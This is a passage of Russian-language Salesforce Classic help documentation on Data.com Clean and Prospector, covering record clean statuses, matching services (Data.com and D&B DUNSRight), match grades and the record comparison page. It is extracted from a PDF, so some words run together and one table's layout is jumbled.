Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Поле «Статус очистки» в записях организации, контакта и интереса указывает способ
сопоставленияданныхзаписисданнымивData.com. Чтобыпросмотретьдополнительные
сведенияостатусеилиобновитьстатус, щелкнитезначокнапротивстатуса. Взависимости
от статуса, некоторые записи могут быть очищены прямо в полe «Статус очистки».

Ниже приведен пример.

1. Записиназначенстатус «Отличается», потомучтоприеепоследнемсопоставлении
(одну неделю назад) записи Salesforce и Data.com использовали разные значения в
некоторых или во всех полях. Возможно, пользователь, который сопоставил записи
ранее,...

• решил не принимать значения Data.com;

• принял некоторые значенияData.com и сохранил некоторые значения Salesforce;

• нажал кнопку «Отмена» на странице сравнения.

Чтобы открыть всплывающее окно, содержащее дополнительные сведения и параметры очистки, щелкните
соответствующий значок.

2. Данная строка содержит сведения о самом последнем сравнении записи Salesforce.

В данном случае это пользователь, сравнивавший организацию Salesforce с записью Data.com одну неделю назад.

3. Данныйраздел содержитдополнительныесведенияо сравнении. Вданномслучае Data.com использует другие значения
в полях контакта «Эл. почта», «Тел.» и «Почтовый адрес».

4. Чтобы самостоятельно сравнить записи Salesforce и Data.com, щелкните ссылку «Очистить...».

При нажатии кнопки «Отмена» статус очистки записи сохраняет значение «Отличается». При нажатии кнопки
«Сохранить» (даже в том случае, если значения Data.com не принимались) статусу очистки записи присваивается
значение «Просмотрено».
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Общие сведения о способах сопоставления записей Salesforce и Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При использовании Data.com для очистки сведений об организациях, контактах и
интересах Salesforce рекомендуем изучить способы сравнения и сопоставления записей
Salesforce с записями Data.com.

Совет: Дополнительнуюинформациюослужбе сопоставленияData.com, включая
краткое графическое представление и подробные примеры, см. в официальном
документе Data.com Record Matching in Salesforce.

Посмотреть демонстрационный ролик: Общие сведения о правилах соответствия

Сравнениеисопоставлениезаписей SalesforceиData.com выполняетсядвумяспособами.

• Вручную: при нажатии кнопки «Очистить» для отдельной организации, контакта
или интереса.

• Автоматически: прииспользованиизаданийпоочистке всехорганизаций, контактов
или интересов.

Автоматическая очистка доступна только организациям, использующимфункцию
Data.com Clean. Ручнаяочистка доступна всемлицензированнымпользователямData.com
Prospector.

При первоначальной ручной или автоматической очистке записи Salesforce служба
сопоставления выполняет поиск похожих записей Data.com. Служба сопоставления
проверяет значенияполейкаждойзаписинаналичиеидентичныхилипохожихданных,
позволяющих подтвердить, что обе записи относятся к одному объекту (например, к
одной организации, контакту или интересу). При обнаружении совпадения Data.com
связываетданныезаписипочисловомузначениюполя «Ключ Data.com». Прикаждойочисткеконтактовиинтересов
Salesforce сопоставление записей выполняется службой сопоставления. При каждой очистке организаций Salesforce
сопоставление (или поиск) записей выполняется по полю «Номер D-U-N-S». Пустое поле «Номер D-U-N-S»

инициирует использование службы сопоставления. Если следующая очистка записи Salesforce отличается большим
количеством изменений, то служба сопоставления может выполнить повторный поиск более подходящих записей
Data.com.

Прим.:

• Чтобы выполнить повторное сопоставление организаций посредством службы сопоставления, независимо от
наличия поля «Номер D-U-N-S», обратитесь в службу поддержки Salesforce. Обратите внимание, что служба
сопоставления может назначить некоторым организациям статус очистки Data.com «Не найдено».

• Повторное сопоставление организаций автоматически выполняется посредством службы сопоставления, если
поле «Номер D-U-N-S» соотносится повторно или не соотносится, либо компонент Data.com приобретен
до 16 декабря 2011 года.

Ниже перечислены важные поля контактов и интересов.

• Имя

• Эл. почта

Рекомендуемиспользоватьпрямойадрес эл. почты, ане групповой (например, info@org.com). Какправило, идентичные
адреса эл. почтыинициируют совпадение, при условии, что другие значения записине конфликтуют. Примечание.
Data.com не хранит адреса эл. почты, которые могут являться личными контактными данными (например, Gmail или
Yahoo).

• Имя организации  (для контактов); Компания  (для интересов)
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• Должность

• Тел.

Ниже перечислены важные поля организаций.

• Имя организации

– Убедитесь, что имя организации не содержит несвязанные артифакты (например, номера (1002), специальные
символы (!#@#) или несвязанные слова). (Данные символы могут использоваться только в названии компании.)

– Рекомендуем использовать имена областей и стран только в названии компании.

– Если имя организации содержит несколько слов (например, DSGI Business (PC World Business)),
рекомендуем указать все слова.

– Если имя организации соответствует имени веб-сайта (например, salesforce.com), рекомендуем опустить
субдомен (например, .com).

• Адрес для счета

– Рекомендуем использовать полный адрес.

– Рекомендуем заполнить поле «Страна». Данное действие позволяет оптимизировать уровни совпадения.

– Рекомендуем заполнить поле «Область» или «Почтовый индекс».

– Если номер дома, в котором располагается организация, не известен, рекомендуем использовать только название
улицы. В отличие от пустого значения, название улицы, введенное без номера дома, повышает вероятность
обнаружения совпадения.

• Веб-сайт

• Тел.
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Статусы очистки Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При использовании продукта Data.com Prospector или функции Data.com Clean записи
организаций, контактов и интересов Salesforce содержат поле «Статус очистки»,
определяющее статус очистки записи по сравнению с Data.com.

ПримечанияЗначение APIОпределениеСтатус
очистки

Записям,
добавленным из
Data.com, всегда
присваивается статус
«Синхронизировано»,
который меняется
только в случае
изменения данных в
одной или обеих
записях.

После очистки
записи и
обнаружения
совпадениявData.com
полюзаписи «Статус

PendingТекущая версия записи
Salesforce не сравнивалась
с Data.com. Ниже
перечислены возможные
причины отображения
данного статуса.

Не
сравнивалось

• Запись, созданнаявручную
в системе Salesforce (не
добавленная из Data.com),
все еще не
сравнивалась с
Data.com.

• После сравнения с
Data.com запись
Salesforce была
изменена очистки»
пользователем, но присваивается
повторно не
сравнивалась.

значение
«Просмотрено»,

• После сравнения с
Data.com запись

кроме указанных
ниже случаев.

Salesforce была • Две записи
идентичны (статус
«Синхронизировано»).

обновлена
бизнес-правилом или
другимавтоматическим

• Записьобновлена
в Salesforce или

процессом (например,
преобразование

Data.com (статус
«Отличается»).

интереса), ноповторно
не сравнивалась.

• Запись
становится

• Как минимум одно
поле Data.com,

неактивной всоотнесенное с полем
Data.com (статус
«Неактивно»).

Salesforce, не содержит
значения.

Записи со статусом
«Синхронизировано»

MatchedПрипоследнемсравнении
записи SalesforceиData.com
были идентичными.

Синхронизировано

считаются
Записи со статусом очищенными, но
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ПримечанияЗначение APIОпределениеСтатус
очистки

могут быть очищены
повторно.

«Синхронизировано» считаются
очищенными.

Чтобы просмотреть время
последнего сравнения записи,
щелкните значок в поле
«Статус очистки» и
просмотрите временную
отметку.

Записи со статусом
«Просмотрено» считаются

AcknowledgedПри последнем сравнении записей
Salesforce и Data.com пользователь:Просмотрено

• сохраняет как минимум одно
значение из записи Salesforce;

очищенными, но могут быть
очищены повторно.

• помечает значение поля как
«неверное» в Data.com;

После очистки записи и
обнаружения совпадения в
Data.com поле записи «Статус• помечает запись статусом

«Неактивно»; очистки» сохраняет значение
«Просмотрено», кроме
указанных ниже случаев.

или

• Организация использует задания
по очистке, выполняющие • Две записи идентичны

(статус
«Синхронизировано»).

перезапись значений для одного
или нескольких полей; при этом

• Запись обновлена в
Salesforce или Data.com
(статус «Отличается»).

последним заданием было
перезаписано как минимум одно
значение.

• Запись становится
неактивной в Data.com
(статус «Неактивно»).

• Поля, помеченные ранее
как «неверные» в Data.com,
помечаются повторно как
«верные».

После очистки записи и
обнаружения совпадения в

DifferentЗаписи Salesforce и Data.com
отличаются.

Отличается

Data.com поле записи «СтатусПрим.: Помните, что статус
очистки записи может очистки» сохраняет значение

«Отличается», кроме
указанных ниже случаев.

измениться со значения
«Синхронизировано» или
«Просмотрено» на значение • Две записи идентичны

(статус
«Синхронизировано»).

«Отличается» при изменении
значений в сопоставленной
записи Data.com. Данное
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ПримечанияЗначение APIОпределениеСтатус
очистки

• Пользователь
просматривает две записи

изменение может выполняться
регулярно в случае

и сохраняет как минимумпредоставления доступа к
одно значение из записиобновленным сведениям

Data.com и D&B. Salesforce (статус
«Просмотрено»).

• Запись становится
неактивной в Data.com
(статус «Неактивно»).

Данный статус доступен
только для продукта Data.com

SelectMatchData.com не содержит автоматического
совпадения, носодержиткакминимум

Выбрать
совпадение

Clean и службы сопоставления
DUNSRight.

одно потенциальное совпадение.
Пользовательможет выбрать одно из
пяти возможных совпадений.

Запись Salesforce не может
быть очищена ввиду

NotFoundДля записи Salesforce отсутствует
соответствующая запись Data.com.

Не найдено

отсутствия соответствующей
записи Data.com.

По умолчанию записи со
статусом «Неактивно» не

НеактивноЗапись Data.com, соответствующая
записи Salesforce, заявлена как
неактивнаясотрудникомData.comили

Неактивно

отображаются в результатах
пользователем организации. поиска Data.com Prospector, но
Неактивной считается запись могут быть просмотрены

посредством фильтров.контакта, содержащаяустаревшуюили
невернуюинформацию. Неактивной

Приочистке ипредставлении
записикак активнойвData.com

считается запись организации,
помеченная сотрудником D&B как
банкрот. статусу очистки записи

присваивается значение
«Просмотрено».

Чтобывыполнитьодноиздвух
действий ниже, обратитесь к
администратору.

SkippedВыберитеодноиз двух условийниже.Пропущено

• Статусуочисткизаписиприсвоено
значение «Пропущено» при

• Изменитетриггер, правило
проверки или настройку

следующей добавочной
синхронизации ввиду

API, инициирующуюобнаружения ошибки, связанной
ошибку и статусс правилом проверки или
«Пропущено», а затемтриггером, при последнем

сохранении записи Salesforce. повторите очистку записи
вручную или
автоматически.

или
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ПримечанияЗначение APIОпределениеСтатус
очистки

• Статусуочисткизаписиприсвоено
значение «Пропущено»
посредством API.

или

• Чтобы выбрать настройку
«Пропущенные записи»,
позволяющую приПри добавочной синхронизации задания

по очистке не обрабатывают записи
со статусом очистки «Пропущено».

При полной синхронизации задания по
очисткеобрабатываютзаписисо всеми

выполнении добавочной или
полной синхронизации
пропускать записи со
статусом очистки
«Пропущено», обратитесь
к администратору.

статусами очистки, содержащими
ошибки, связанные с правилами
проверки, триггерами или другими
настройками, при последнем
сохранении, но значения поля
«Статус очистки» данных записей
меняется только после исправления
ошибок.

СМ. ТАКЖЕ:

Очистка отдельных записей Salesforce

Очистка списка записей Salesforce

Что означает «Статус очистки» записи?

Представление записи организации, контакта или интереса как неактивной или активной в Data.com
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Уровни совпадения D&B®

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При использовании службы сопоставления DUNSRight™ для очистки записей уровень
совпадения D&B позволяет определять наиболее подходящие записи при выборе
совпадения.

Чтобы просмотреть сведения о совпадении DUNSRight для отдельной записи, включая
код достоверности и уровень совпадения (при его наличии), наведите указатель мыши
нанужнуюсеруюстрокууровнясовпадения. Синяястрокауровнясовпаденияотображает
буквенныеобозначения D&B, соответствующие следующимполям записиорганизации
(слева направо): «Имя организации» или «Торговый стиль»  | «Номер дома»  |
«Улица»  | «Город»  | «Область/штат»  | «Почтовый адрес/абонентский ящик»  |
«Тел.».

ОпределениеБуква

Значенияполностьюсовпадаютилиочень
похожи.

A

Значения похожи.

Если данные Data.com и D&B обновляются
в разное время, а поле записи D&B
содержит пустое значение, то уровню
совпадения соответствует буква «B»
(значения похожи) вместо буквы «Z»
(пустое значение).

B

Значения не совпадают.F

Какминимумодназаписьсодержитпустое
значение.

Если поле «Область» записи D&B
содержит пустое значение, то поле

Z

«Улица», какправило, такжеотображается
пустым. В данном случае оба поля
отображаются серым цветом, а уровню
совпадениядлякаждогополясоответствует
буква «Z».
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Сведения об очистке записей посредством функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Очистка записи инициирует сравнение данных Salesforce с данными Data.com. При
использованииданногопроцессатребуетсяиметьпредставлениеорядеважныхпонятий,
включая выбор совпадающих записей и отметка записей Data.com в качестве неверных.

Присвоениезначениюполяорганизации, контактаилиинтересапометки «неверное»
или «верное» в Data.com

Пользователи могут уведомлятьData.com о наличии неправильного или «неверного»
значения в поле записи Salesforce, очищаемой посредствомфункцииData.com Clean.
Поле, содержащее неверное значение, помечается соответствующимфлажком.
Аналогичным образом, пользователи могут уведомлять о наличии значений,
являющихся правильными или «верными».

Представление записи организации, контакта или интереса как неактивной или
активной в Data.com

Пользователи могут уведомлять Data.com о наличии недействительной или
неактивной связанной записи организации, контакта или интереса, обнаруженной
при очистке записи Salesforce посредством функции Data.com Clean. Запись
организации, контакта или интереса, которой назначается статус «Неактивно» в
Data.com, помечаетсясоответствующимобразом. Аналогичнымобразом, пользователи
могут уведомлятьоналичиизаписейорганизаций, контактовилиинтересов, которым
должен быть назначен статус «Активно».

Выбор совпадающей записи Data.com для организации Salesforce

При использовании службы сопоставления DUNSRight™ для сопоставления и очистки записей организаций система
Salesforce автоматическисопоставляетзаписинаосновепредварительнозаданногокодадостоверности D&B, выбранного
администратором организации. При отсутствии автоматического совпадения, но при наличии как минимум одного
потенциальногосовпадения, записиназначаетсястатусочистки «Выбрать совпадение». Данныйстатусочисткиуказывает
нанеобходимостьобработкивозможныхсовпадений вручнуюивыбораодного совпадения. После выбора совпадения
запись Salesforce должна быть очищена вручную.

Выбор другого совпадения Data.com для записи организации Salesforce

При неправильном сопоставлении записи организации и Data.com посредством службы сопоставления DUNSRight
запись организации может быть сопоставлена с другой записью Data.com. После выбора нового совпадения запись
должна быть очищена вручную.

Быстрое сравнение данных Salesforce и Data.com

При ручной очистке организаций, контактов или интересов Salesforce пользователи самостоятельно сравнивают
записи Salesforce с данными Data.com. Страница сравнения отображается при нажатии кнопки «Очистить» или
значения в поле записи «Статус очистки». Данная страница содержит поля и значения записи Salesforce, напротив
которых отображаются поля и значения записи Data.com.

Рекомендации по выбору службы сопоставления организаций
Продукт Data.com Prospector илифункция Data.com Clean позволяет выбирать службу сопоставления, которая должна
использоваться для очистки записей организаций. Прежде чем выбрать нужную службу, просмотрите все доступные
службы, их алгоритмы очистки и связанные рекомендации.
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Присвоение значениюполяорганизации, контактаилиинтересапометки «неверное» или «верное» вData.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки записей
организаций:
• «Редактирование» для

организаций

Для очистки записей
контактов:
• «Редактирование» для

контактов

Для очистки записей
интересов:
• «Редактирование» для

интересов

Пользователи могут уведомлять Data.com о наличии неправильного или «неверного»
значения в поле записи Salesforce, очищаемой посредством функции Data.com Clean.
Поле, содержащее неверное значение, помечается соответствующимфлажком.
Аналогичнымобразом, пользователимогутуведомлятьоналичиизначений, являющихся
правильными или «верными».

При очистке записи организации, контакта или интереса отдельное значение поля,
являющееся неверным, может быть помечено как «неверное» в Data.com. Значение,
помеченное как «неверное», но являющееся верным, может быть помечено как «верное».
Страница сравнения позволяет присваивать пометки большинству полей.

Прим.:

• Если поле организации, контакта или интереса «Статус очистки» содержит
значение «Синхронизировано», котороепомечается как «неверное» на странице
сравнения, то полю записи «Статус очистки» задается значение
«Просмотрено».

1. Чтобы открыть страницу сравнения, нажмите кнопку «Очистить» на странице
записи.

2. Чтобы пометить значение поля как «неверное», щелкните стрелку напротив нужного
поля и выберите параметр «Пометить как неверное в Data.com».
Красныйфлажок ( ) добавляется напротив поля.

3. Нажмите кнопку «Сохранить».

4. Чтобы пометить значение поля как «верное», щелкните стрелку напротив нужного
поля и выберите параметр «Пометить как верное в Data.com».
Красныйфлажок исчезает.

5. Нажмите кнопку «Сохранить».

Сведения о присвоении значению поля «эл. почта» пометки «неверное»
незамедлительно передаются в автоматическую систему обработки фактов Data.com.
Приповторномприсвоениипометки значениюданногополядругимипользователями
Data.com статусу записи Data.com можетбытьзаданозначение «Неактивно». Приналичии
других неверных полей сведения проверяются контролерами Data.com или D&B.
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Представление записи организации, контакта или интереса как неактивной или активной в Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки записей
организаций:
• «Редактирование» для

организаций

Для очистки записей
контактов:
• «Редактирование» для

контактов

Для очистки записей
интересов:
• «Редактирование» для

интересов

Пользователимогут уведомлятьData.comоналичиинедействительнойилинеактивной
связанной записи организации, контакта или интереса, обнаруженной при очистке
записи Salesforce посредством функции Data.com Clean. Запись организации, контакта
или интереса, которой назначается статус «Неактивно» в Data.com, помечается
соответствующим образом. Аналогичным образом, пользователи могут уведомлять о
наличиизаписейорганизаций, контактовилиинтересов, которымдолженбытьназначен
статус «Активно».

Статус «Активно» или «Неактивно» можетбытьназначен записиорганизации, контакта
илиинтереса специалистомData.comилипользователемфункцииData.com Clean. Статус
«Неактивно» назначается записям организаций, которые являются банкротами, а также
записямконтактовилиинтересов, которыеявляютсябывшимисотрудникамикомпании.

Если записиназначается статус «Неактивно», топользователямотображаетсяисточник
данного статуса (и причина — для источника Data.com). Например, банкротство
организации, увольнение контакта из компании, недопустимый адрес эл. почты или
номер телефона контакта или интереса.

1. Чтобы открыть страницу сравнения, нажмите кнопку «Очистить» в записи
организации, контакта или интереса.

2. Чтобызаявить записьорганизации, контактаилиинтереса какнеактивную, щелкните
«Заявить как неактивное».

3. Нажмите кнопку «Сохранить».
Теперь поле записи «Статус очистки» отображает значение «Неактивно».

4. Еслинеактивная организация является действующей, либонеактивныйконтакт или
интерес все еще является сотрудником компании, выполните повторную очистку
соответствующейзаписи. Страницасравненияотображает сообщение, содержащее
сведения о текущем заявленном статусе записи («Банкрот» для организаций или
«Неактивно» дляконтактовиинтересов) иегоисточнике: Data.comилипользователь.

5. Щелкните «Заявить как активное».
Поле записи «Статус очистки» восстанавливает значение, котороеиспользовалось
доназначениястатуса «Неактивно». Например, еслиполеконтакта «Статус очистки»
содержит значение «Просмотрено», а контакту назначается статус «Неактивно», то
статусуочистки задается значение «Неактивно». Последующееназначениеконтакту
статуса «Активно» инициирует восстановление статуса очистки «Просмотрено».

СМ. ТАКЖЕ:

Статусы очистки Data.com Clean
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Выбор совпадающей записи Data.com для организации Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки записей
организаций:
• «Редактирование» для

организаций

Для очистки записей
контактов:
• «Редактирование» для

контактов

Для очистки записей
интересов:
• «Редактирование» для

интересов

При использовании службы сопоставления DUNSRight™ для сопоставления и очистки
записей организаций система Salesforce автоматически сопоставляет записи на основе
предварительно заданного кода достоверности D&B, выбранного администратором
организации. Приотсутствии автоматического совпадения, ноприналичиикакминимум
одного потенциального совпадения, записи назначается статус очистки «Выбрать
совпадение». Данныйстатусочисткиуказываетнанеобходимостьобработкивозможных
совпадений вручную и выбора одного совпадения. После выбора совпадения запись
Salesforce должна быть очищена вручную.

Выбор совпадения Data.com для записи организации Salesforce

1. Чтобы выбрать исходное совпадение, щелкните значение статуса очистки записи
«Выбрать совпадение», а затем щелкните «Выбрать организациюиз Data.com».
Страница выбора совпадения отображает не более пяти возможных совпадений;
первой отображается самая похожая запись.

2. Просмотрите возможные совпадения. Чтобы просмотреть сведения о совпадении
DUNSRight для отдельной записи, включая код достоверности и уровень совпадения
(при его наличии), наведите указатель мыши на нужную серую строку уровня
совпадения. Синяя строка уровня совпадения отображает буквенные обозначения
D&B, соответствующие следующим полям записи организации (слева направо):
«Имя организации» или «Торговый стиль»  | «Номер дома»  | «Улица»  | «Город»
| «Область/штат»  | «Почтовый адрес/абонентский ящик»  | «Тел.»

3. Чтобыпросмотретьимяполяипояснение, щелкнитенужноебуквенноеобозначение.

ОпределениеБуква

Значения полностью совпадают или
очень похожи.

A

Значения похожи.

Если данные Data.com и D&B
обновляются в разное время, а поле
записи D&B содержит пустое значение,
то уровню совпадения соответствует
буква «B» (значения похожи) вместо
буквы «Z» (пустое значение).

B

Значения не совпадают.F

Как минимум одна запись содержит
пустое значение.

Если поле «Область» записи D&B
содержит пустое значение, то поле

Z

«Улица», как правило, также
отображается пустым. В данном случае
оба поля отображаются серым цветом, а
уровню совпадения для каждого поля
соответствует буква «Z».
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4. Выделите нужное совпадение, а затем щелкните «Выбрать и продолжить очистку». При отсутствии нужного
совпадения нажмите кнопку «Отмена»; запись сохраняет статус «Выбрать совпадение».

5. Очистите запись.
Данное действие обновляет поле записи «Статус очистки».

Пример: Например: администраторорганизациизадает коддостоверности D&B «9». Откройте записьорганизации
«Новые технологии», поле «Cтатус очистки» которой содержит значение «Выбрать совпадение». Чтобы открыть
страницувыбора совпадения, щелкните значениестатуса. Данная страницасодержитчетыревозможныхсовпадения
из Data.com. Наведите указательмышина строку уровня совпадения для самойпервой записи: «Корпорация "Новые
технологии"». Вовсплывающемокнеотображается коддостоверности «8» для записи «Новыетехнологии». Строка
уровня совпаденияотображает следующиебуквы: B A A B A A Z. Помните, чтобуква «А» соответствует совпадающим
значениям. Проверьте значения, которым соответствуют другие буквы.

Щелкните первую букву «B». Обратите внимание, что значения поля «Имя организации» похожи, но немного
отличаются: поле «Имя организации» собственнойзаписинесодержитслова «Корпорация», котороеприсутствует
в поле «Имя организации» записи Data.com. Щелкните вторую букву «B». Обратите внимание, что поле «Город»
собственной записи содержит значение «Петербург», тогда как поле «Город» записиData.com содержит значение
«Санкт-Петербург». Данные значенияпохожи, ноне совпадают. Щелкнитебукву «Z». Обратите внимание, чтополе
«Тел.» собственной записи содержит пустое значение. Поле «Тел.» записи Data.com содержит значение
«+1.415.901.7000».

Запись Data.com «Корпорация "Новые технологии"» похожа на собственную запись «Новые технологии», поэтому
выберите данную запись и щелкните «Выбрать и продолжить очистку». Чтобы принять все значения записи
Data.com, включая значения полей «Имя организации», «Город» и «Тел.», отличающиеся или отсутствующие в
собственной записи, щелкните «Выбрать все» на странице сравнения. Чтобы назначить записи статус очистки
«Синхронизировано», нажмите кнопку «Сохранить». Готово!

СМ. ТАКЖЕ:

Выбор другого совпадения Data.com для записи организации Salesforce

Очистка отдельных записей Salesforce
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Выбор другого совпадения Data.com для записи организации Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки записей
организаций:
• «Редактирование» для

организаций

ПринеправильномсопоставлениизаписиорганизациииData.comпосредствомслужбы
сопоставления DUNSRight записьорганизацииможетбытьсопоставленасдругойзаписью
Data.com. После выбора нового совпадения запись должна быть очищена вручную.

Выбор совпадения Data.com для записи организации Salesforce

1. Откройте нужную запись и нажмите кнопку «Очистить».

2. Щелкните ссылку «Неверное совпадение?» на странице сравнения.

3. Выберите другую запись Data.com (при ее наличии).

4. Щелкните «Выбрать и продолжить очистку».

СМ. ТАКЖЕ:

Выбор совпадающей записи Data.com для организации Salesforce

Очистка отдельных записей Salesforce
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Быстрое сравнение данных Salesforce и Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При ручной очистке организаций, контактов или интересов Salesforce пользователи
самостоятельно сравнивают записи Salesforce с данными Data.com. Страница сравнения
отображается при нажатии кнопки «Очистить» или значения в поле записи «Статус
очистки». ДаннаястраницасодержитполяизначениязаписиSalesforce, напротивкоторых
отображаются поля и значения записи Data.com.

При правильном чтении и использовании страницы сравнения пользователи могут
значительноускоритьпроцессочисткизаписей. Нижеперечисленыкомпонентыданной
страницы.

1. Столбцы содержат записи Salesforce и Data.com, обеспечивая удобное сравнение данных.

2. Имена полей отображаются слева. I

3. Если данные Salesforce соответствуют данным Data.com, то в столбце Data.com напротив соответствующего поля
отображается зеленая галочка ( ).

4. Если Data.com содержит данные для поля Salesforce, значение которого отличается или отсутствует, то отображается
поле с флажком. Чтобы принять данные Data.com, установите этот флажок.

5. При очистке записи организации, контакта или интереса отдельное значение поля, являющееся неверным, может
быть помечено как «неверное» в Data.com. Значение, помеченное как неверное, но являющееся верным, может быть
помечено как «верное». Страница сравнения позволяет присваивать пометки большинству полей.

6. ПрииспользованиипродуктаData.com Premium ProspectorилиData.com Premium Clean система Salesforce создает запись
компании D&B (еслидоступнавData.comиотсутствуетвSalesforce) исвязываетданнуюзаписьсочищаемойорганизацией
или интересом. Запись компании D&B помечена на странице сравнения.

7. При неправильном сопоставлении записей Salesforce и Data.comщелкните ссылку «Неверное совпадение?» и
выберите другую запись Data.com. Данная функция доступна только службе сопоставления DUNSRight.
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8. По умолчанию поля, содержащие идентичные данные, не отображаются. Чтобы просмотреть все скрытые поля, а
также поля с разными значениями, щелкните «Показать идентичные поля»  (как в данном примере). При большом
количестве полей отображается полоса прокрутки. Чтобы скрыть идентичныеполя, щелкните «Скрыть идентичные
поля».

9. Чтобы обновить данные Data.com в случае обнаружения недействительной или неактивной связанной записи
организации, контактаилиинтересаприочисткезаписиSalesforce, щелкните«Заявитькакнеактивное». Аналогичным
образом, пользователи могут уведомлять об организациях, контактах или интересах, являющихся активными.

10. По завершении нажмите кнопку «Сохранить» (даже в том случае, если данные не изменялись). При необходимости
данное действие обновляет статус очистки записи Salesforce. При нажатии кнопки «Отмена» запись Salesforce не
обновляется, однакоприобнаружениисовпадающейзаписиData.comполя «Статус очистки» и «Ключ Data.com»

могут поменять свои значения. Эти два поля всегда содержат самые точные совпадения из Data.com в отношении
последнихпроцессовочистки, независимооттого, обновляласьлизаписьвручную (пользователем) илиавтоматически
(с помощью заданий по очистке).

СМ. ТАКЖЕ:

Очистка отдельных записей Salesforce

Статусы очистки Data.com Clean

Выбор совпадающей записи Data.com для организации Salesforce

Выбор другого совпадения Data.com для записи организации Salesforce

Рекомендации по выбору службы сопоставления организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Продукт Data.com Prospector или функция Data.com Clean позволяет выбирать службу
сопоставления, которая должна использоваться для очистки записей организаций.
Преждечемвыбратьнужнуюслужбу, просмотрите все доступныеслужбы, их алгоритмы
очистки и связанные рекомендации.

Доступны следующие службы сопоставления.

СопоставлениеData.com
Собственная технология сопоставления Data.com, которая сопоставляет поля «Имя
организации», «Адрес для счета», «Веб-сайт» и «Тел.».

СлужбасопоставленияData.comвсегдаиспользуетсяприочисткеданныхорганизаций,
имеющихдействующий Номер D-U-N-S, дажеесливыбранаслужбасопоставления
DUNSRight.

Сопоставление DUNSRight™

Сопоставление DUNSRight — этопатентованнаятехнологияпроверкикачестваданных
от компании D&B, использующая точный процесс стандартизации данных и
сопоставлениязаписейкомпании D&B с записямиорганизацийпользователя. Кроме
того, данный процесс применяет код достоверности D&B, который оценивает
возможные совпаденияData.comнаоснове схожести записейпошкалеот «1» (записи
не похожи) до «10» (записиидентичныилиоченьпохожи). Также D&B поддерживает
уровнисовпадения, отображаемыедляотдельныхполейввидебукв. Дополнительную
информацию об алгоритме сопоставления DUNSRight см. в документе D&B Entity
Matching.

1390

Получайте высококачественные данные там, где это нужно
при помощи Salesforce

Продажи клиентам

http://www.dnb.com/content/dam/US/dnb/documents/alliance/dnb-match-information-10-2012.pdf
